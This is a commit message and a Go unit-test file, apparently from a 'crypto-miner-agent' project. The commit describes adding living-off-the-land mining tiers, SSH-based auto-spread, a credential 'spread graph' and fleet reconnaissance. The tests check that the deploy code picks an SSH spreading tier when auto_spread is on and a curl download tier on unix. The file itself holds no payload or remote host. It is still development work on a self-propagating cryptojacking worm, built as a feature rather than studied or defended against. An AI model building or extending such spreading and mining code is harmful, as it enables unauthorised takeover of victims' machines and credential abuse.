Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/lotl_onion_stub_test.go

@@ -0,0 +1,52 @@
+//go:build !windows
+
+package deploy
+
+import (
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestTryLotlTierLinuxAutoSpread(t *testing.T) {
+	ok, msg := tryLotlTier(config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{AutoSpread: true},
+	}, "linux")
+	if !ok {
+		t.Fatalf("linux tier should succeed with auto_spread, got %q", msg)
+	}
+	if !strings.Contains(msg, "ssh") {
+		t.Fatalf("msg=%q", msg)
+	}
+}
+
+func TestTryLotlTierLinuxWithoutAutoSpread(t *testing.T) {
+	ok, msg := tryLotlTier(config.RuntimeConfig{}, "linux")
+	if ok {
+		t.Fatalf("expected failure without auto_spread, got %q", msg)
+	}
+	if !strings.Contains(msg, "auto_spread") {
+		t.Fatalf("msg=%q", msg)
+	}
+}
+
+func TestTryLotlTierBitsCurl(t *testing.T) {
+	ok, msg := tryLotlTier(config.RuntimeConfig{}, "bits_curl")
+	if !ok {
+		t.Fatalf("bits_curl tier should be available on unix, got %q", msg)
+	}
+	if !strings.Contains(msg, "curl") {
+		t.Fatalf("msg=%q", msg)
+	}
+}
+
+func TestTryLotlTierUnsupported(t *testing.T) {
+	ok, msg := tryLotlTier(config.RuntimeConfig{}, "winrm")
+	if ok {
+		t.Fatalf("winrm should be unsupported on unix, got %q", msg)
+	}
+	if !strings.Contains(msg, "not supported") {
+		t.Fatalf("msg=%q", msg)
+	}
+}